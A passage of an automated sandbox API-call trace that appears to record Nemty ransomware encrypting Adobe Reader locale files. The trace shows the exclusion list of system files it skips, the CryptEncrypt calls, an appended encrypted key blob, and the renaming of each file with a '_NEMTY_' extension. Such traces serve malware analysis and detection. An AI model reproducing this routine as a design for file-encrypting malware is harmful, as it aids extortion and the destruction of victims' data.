lpMultiByteStr=0x653e918, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="SaveAsRTF.CHT", lpUsedDefaultChar=0x0) returned 13 [0186.626] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0186.626] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x4f94310 [0186.626] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346f28 | out: hHeap=0x4f90000) returned 1 [0186.626] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340048 [0186.626] Sleep (dwMilliseconds=0x5) [0186.636] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x22e40730, dwHighDateTime=0x1d561e8)) [0186.636] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x22e40730, dwHighDateTime=0x1d561e8)) [0186.636] GetLastError () returned 0x0 [0186.636] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0186.636] GetLastError () returned 0x0 [0186.636] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0186.636] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0186.636] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0186.636] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e5e0*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e5e0*=0x100) returned 1 [0186.636] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x10, dwBufLen=0x100 | out: pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x100) returned 1 [0186.637] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e5dc | out: pszString=0x0, pcchString=0x653e5dc) returned 1 [0186.637] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x63400f0 [0186.637] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x63400f0, pcchString=0x653e5dc | out: pszString="9JdGCwEke0+4VBSgOYIsiX8s7U93MlSWHsXNalTqcEsOKoPsFtvQZBQR8Sl5OIyz\r\nVgB3muTLGc4FyWHPOBKOJt5vr3nBHM2C7682xuj5kK5Ib2obmgtItdpVKVl5hxzf\r\nQblwhK64Qhss2d9C2DvJOsyFAyLLmWOoFdMcP/jazgKR1sl4JQP5YD/jZI3Rc9H1\r\nVi37K+fpCY11p7erHA8EQfOZkdnIRcNpViDnAhqg3WPGPPcv2Rr9tNwHjSRMH3fz\r\nIzuyqNuYFgM4uiUR5QIlZcnTaflKUi1bLXpUyKAmAOjjVW+9ZCowOvnk82abBeTm\r\nPZkAU4yV0WCwKf93ICOJpg==\r\n", pcchString=0x653e5dc) returned 1 [0186.637] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0186.637] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400f0 | out: hHeap=0x4f90000) returned 1 [0186.637] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0186.637] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0186.637] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x63400f0 [0186.637] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0186.637] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\zh_TW\\SaveAsRTF.CHT" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\zh_tw\\saveasrtf.cht"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2e8 [0186.637] GetFileSizeEx (in: hFile=0x2e8, lpFileSize=0x653e830 | out: lpFileSize=0x653e830*=12800) returned 1 [0186.637] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x3200) returned 0x6352c48 [0186.637] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0186.637] ReadFile (in: hFile=0x2e8, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x3200, lpNumberOfBytesRead=0x653e824, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesRead=0x653e824*=0x3200, lpOverlapped=0x0) returned 1 [0186.643] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0186.643] WriteFile (in: hFile=0x2e8, lpBuffer=0x6352c48*, nNumberOfBytesToWrite=0x3200, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesWritten=0x653e81c*=0x3200, lpOverlapped=0x0) returned 1 [0186.643] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352c48 | out: hHeap=0x4f90000) returned 1 [0186.643] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=12800, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x3200 [0186.643] WriteFile (in: hFile=0x2e8, lpBuffer=0x63400f0*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x63400f0*, lpNumberOfBytesWritten=0x653e81c*=0x167, lpOverlapped=0x0) returned 1 [0186.643] CloseHandle (hObject=0x2e8) returned 1 [0186.643] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340260 [0186.643] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0186.643] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0186.643] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed58, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0186.643] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0186.643] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0186.643] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340308 [0186.643] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xee) returned 0x63403b0 [0186.643] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340308 | out: hHeap=0x4f90000) returned 1 [0186.643] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0186.643] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\zh_TW\\SaveAsRTF.CHT" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\zh_tw\\saveasrtf.cht"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\zh_TW\\SaveAsRTF.CHT._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\zh_tw\\saveasrtf.cht._nemty_kgobjgd_")) returned 1 [0186.644] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63403b0 | out: hHeap=0x4f90000) returned 1 [0186.644] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340260 | out: hHeap=0x4f90000) returned 1 [0186.644] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0186.644] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400f0 | out: hHeap=0x4f90000) returned 1 [0186.644] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0186.644] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0186.644] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0186.644] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0186.644] FindNextFileW (in: hFindFile=0x3423ab0, lpFindFileData=0x653e988 | out: lpFindFileData=0x653e988*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x99d45400, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x82c62800, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x99d45400, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x3800, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="Search.CHT", cAlternateFileName="")) returned 1 [0186.644] lstrcmpiW (lpString1="Search.CHT", lpString2=".") returned 1 [0186.644] lstrcmpiW (lpString1="Search.CHT", lpString2="..") returned 1 [0186.644] lstrcmpiW (lpString1="Search.CHT", lpString2="...") returned 1 [0186.644] lstrcmpiW (lpString1="Search.CHT", lpString2="windows") returned -1 [0186.644] lstrcmpiW (lpString1="Search.CHT", lpString2="$RECYCLE.BIN") returned 1 [0186.644] lstrcmpiW (lpString1="Search.CHT", lpString2="rsa") returned 1 [0186.644] lstrcmpiW (lpString1="Search.CHT", lpString2="NTDETECT.COM") returned 1 [0186.644] lstrcmpiW (lpString1="Search.CHT", lpString2="ntldr") returned 1 [0186.645] lstrcmpiW (lpString1="Search.CHT", lpString2="MSDOS.SYS") returned 1 [0186.645] lstrcmpiW (lpString1="Search.CHT", lpString2="IO.SYS") returned 1 [0186.645] lstrcmpiW (lpString1="Search.CHT", lpString2="boot.ini") returned 1 [0186.645] lstrcmpiW (lpString1="Search.CHT", lpString2="boot.ini") returned 1 [0186.645] lstrcmpiW (lpString1="Search.CHT", lpString2="AUTOEXEC.BAT") returned 1 [0186.645] lstrcmpiW (lpString1="Search.CHT", lpString2="ntuser.dat") returned 1 [0186.645] lstrcmpiW (lpString1="Search.CHT", lpString2="desktop.ini") returned 1 [0186.645] lstrcmpiW (lpString1="Search.CHT", lpString2="CONFIG.SYS") returned 1 [0186.645] lstrcmpiW (lpString1="Search.CHT", lpString2="RECYCLER") returned 1 [0186.645] lstrcmpiW (lpString1="Search.CHT", lpString2="BOOTSECT.BAK") returned 1 [0186.645] lstrcmpiW (lpString1="Search.CHT", lpString2="bootmgr") returned 1 [0186.645] lstrcmpiW (lpString1="Search.CHT", lpString2="programdata") returned 1 [0186.645] lstrcmpiW (lpString1="Search.CHT", lpString2="appdata") returned 1 [0186.645] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0186.645] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Search.CHT", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0186.645] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Search.CHT", cchWideChar=10, lpMultiByteStr=0x653e890, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Search.CHT", lpUsedDefaultChar=0x0) returned 10 [0186.645] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0186.645] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Search.CHT", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0186.645] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Search.CHT", cchWideChar=10, lpMultiByteStr=0x653e890, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Search.CHT", lpUsedDefaultChar=0x0) returned 10 [0186.645] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0186.645] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0186.645] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0186.645] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Search.CHT", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0186.645] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Search.CHT", cchWideChar=10, lpMultiByteStr=0x653e8e0, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Search.CHT", lpUsedDefaultChar=0x0) returned 10 [0186.645] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0186.645] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0186.645] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Search.CHT", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0186.645] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Search.CHT", cchWideChar=10, lpMultiByteStr=0x653e918, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Search.CHT", lpUsedDefaultChar=0x0) returned 10 [0186.645] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0186.645] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346f28 [0186.645] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94310 | out: hHeap=0x4f90000) returned 1 [0186.645] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346d60 [0186.645] Sleep (dwMilliseconds=0x5) [0186.652] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x22e66890, dwHighDateTime=0x1d561e8)) [0186.652] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x22e66890, dwHighDateTime=0x1d561e8)) [0186.652] GetLastError () returned 0x0 [0186.652] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0186.652] GetLastError () returned 0x0 [0186.652] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0186.652] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0186.652] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0186.652] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e5e0*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e5e0*=0x100) returned 1 [0186.652] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x10, dwBufLen=0x100 | out: pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x100) returned 1 [0186.652] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e5dc | out: pszString=0x0, pcchString=0x653e5dc) returned 1 [0186.652] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6340048 [0186.652] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x6340048, pcchString=0x653e5dc | out: pszString="LYhgIf+i4JJRwagRDcNUZ3KJ1HKpl94Fgva4iQpjXnpX16tfC69Vzfz44TkejwgB\r\nRe3VWhLmgK08C7rp5j/cbvHQBwQjG4NlHvHNf22YkXEqSqAaheAjquicGcZ53TPQ\r\nVothq7x6039jYI7ofU8YharEuSXxWf7y+wJe4kENKnk8HY17Ka4i+lGgdp4ER0EF\r\nv6kleLqoWsNmaWAS1sRhMAGcstZiOIiYiNqKJDh8oXBSNwgOgDvg1jyDocsO02kV\r\n7WDCEnAskjWYAEkw0BtjJyd06yPYDmDWZB/FrOfObOjUqPIxEMhl2BcAkVI6MxpA\r\n1ph0/SSBPd8zJAuMu037rg==\r\n", pcchString=0x653e5dc) returned 1 [0186.652] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0186.653] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0186.653] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0186.653] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0186.653] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6340048 [0186.653] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0186.653] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\zh_TW\\Search.CHT" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\zh_tw\\search.cht"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2e8 [0186.653] GetFileSizeEx (in: hFile=0x2e8, lpFileSize=0x653e830 | out: lpFileSize=0x653e830*=14336) returned 1 [0186.653] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x3800) returned 0x6352c48 [0186.653] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0186.653] ReadFile (in: hFile=0x2e8, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x3800, lpNumberOfBytesRead=0x653e824, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesRead=0x653e824*=0x3800, lpOverlapped=0x0) returned 1 [0186.655] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0186.656] WriteFile (in: hFile=0x2e8, lpBuffer=0x6352c48*, nNumberOfBytesToWrite=0x3800, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesWritten=0x653e81c*=0x3800, lpOverlapped=0x0) returned 1 [0186.656] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352c48 | out: hHeap=0x4f90000) returned 1 [0186.656] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=14336, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x3800 [0186.656] WriteFile (in: hFile=0x2e8, lpBuffer=0x6340048*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x6340048*, lpNumberOfBytesWritten=0x653e81c*=0x167, lpOverlapped=0x0) returned 1 [0186.656] CloseHandle (hObject=0x2e8) returned 1 [0186.656] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346e90 [0186.656] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0186.656] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0186.656] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed08, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0186.656] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0186.656] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0186.656] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x4f94310 [0186.656] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xee) returned 0x63401b8 [0186.656] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94310 | out: hHeap=0x4f90000) returned 1 [0186.656] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0186.656] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\zh_TW\\Search.CHT" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\zh_tw\\search.cht"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\zh_TW\\Search.CHT._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\zh_tw\\search.cht._nemty_kgobjgd_")) returned 1 [0186.657] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63401b8 | out: hHeap=0x4f90000) returned 1 [0186.657] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346e90 | out: hHeap=0x4f90000) returned 1 [0186.657] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0186.657] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0186.657] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0186.657] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0186.657] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0186.657] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346d60 | out: hHeap=0x4f90000) returned 1 [0186.657] FindNextFileW (in: hFindFile=0x3423ab0, lpFindFileData=0x653e988 | out: lpFindFileData=0x653e988*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x99d45400, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x82c62800, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x99d45400, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x2e00, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="SendMail.CHT", cAlternateFileName="")) returned 1 [0186.657] lstrcmpiW (lpString1="SendMail.CHT", lpString2=".") returned 1 [0186.657] lstrcmpiW (lpString1="SendMail.CHT", lpString2="..") returned 1 [0186.657] lstrcmpiW (lpString1="SendMail.CHT", lpString2="...") returned 1 [0186.657] lstrcmpiW (lpString1="SendMail.CHT", lpString2="windows") returned -1 [0186.657] lstrcmpiW (lpString1="SendMail.CHT", lpString2="$RECYCLE.BIN") returned 1 [0186.657] lstrcmpiW (lpString1="SendMail.CHT", lpString2="rsa") returned 1 [0186.657] lstrcmpiW (lpString1="SendMail.CHT", lpString2="NTDETECT.COM") returned 1 [0186.657] lstrcmpiW (lpString1="SendMail.CHT", lpString2="ntldr") returned 1 [0186.657] lstrcmpiW (lpString1="SendMail.CHT", lpString2="MSDOS.SYS") returned 1 [0186.657] lstrcmpiW (lpString1="SendMail.CHT", lpString2="IO.SYS") returned 1 [0186.657] lstrcmpiW (lpString1="SendMail.CHT", lpString2="boot.ini") returned 1 [0186.657] lstrcmpiW (lpString1="SendMail.CHT", lpString2="boot.ini") returned 1 [0186.657] lstrcmpiW (lpString1="SendMail.CHT", lpString2="AUTOEXEC.BAT") returned 1 [0186.657] lstrcmpiW (lpString1="SendMail.CHT", lpString2="ntuser.dat") returned 1 [0186.657] lstrcmpiW (lpString1="SendMail.CHT", lpString2="desktop.ini") returned 1 [0186.657] lstrcmpiW (lpString1="SendMail.CHT", lpString2="CONFIG.SYS") returned 1 [0186.657] lstrcmpiW (lpString1="SendMail.CHT", lpString2="RECYCLER") returned 1 [0186.657] lstrcmpiW (lpString1="SendMail.CHT", lpString2="BOOTSECT.BAK") returned 1 [0186.657] lstrcmpiW (lpString1="SendMail.CHT", lpString2="bootmgr") returned 1 [0186.658] lstrcmpiW (lpString1="SendMail.CHT", lpString2="programdata") returned 1 [0186.658] lstrcmpiW (lpString1="SendMail.CHT", lpString2="appdata") returned 1 [0186.658] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0186.658] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="SendMail.CHT", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0186.658] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="SendMail.CHT", cchWideChar=12, lpMultiByteStr=0x653e890, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="SendMail.CHT", lpUsedDefaultChar=0x0) returned 12 [0186.658] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0186.658] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="SendMail.CHT", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0186.658] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="SendMail.CHT", cchWideChar=12, lpMultiByteStr=0x653e890, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="SendMail.CHT", lpUsedDefaultChar=0x0) returned 12 [0186.658] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0186.658] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0186.658] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0186.658] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="SendMail.CHT", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0186.658] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="SendMail.CHT", 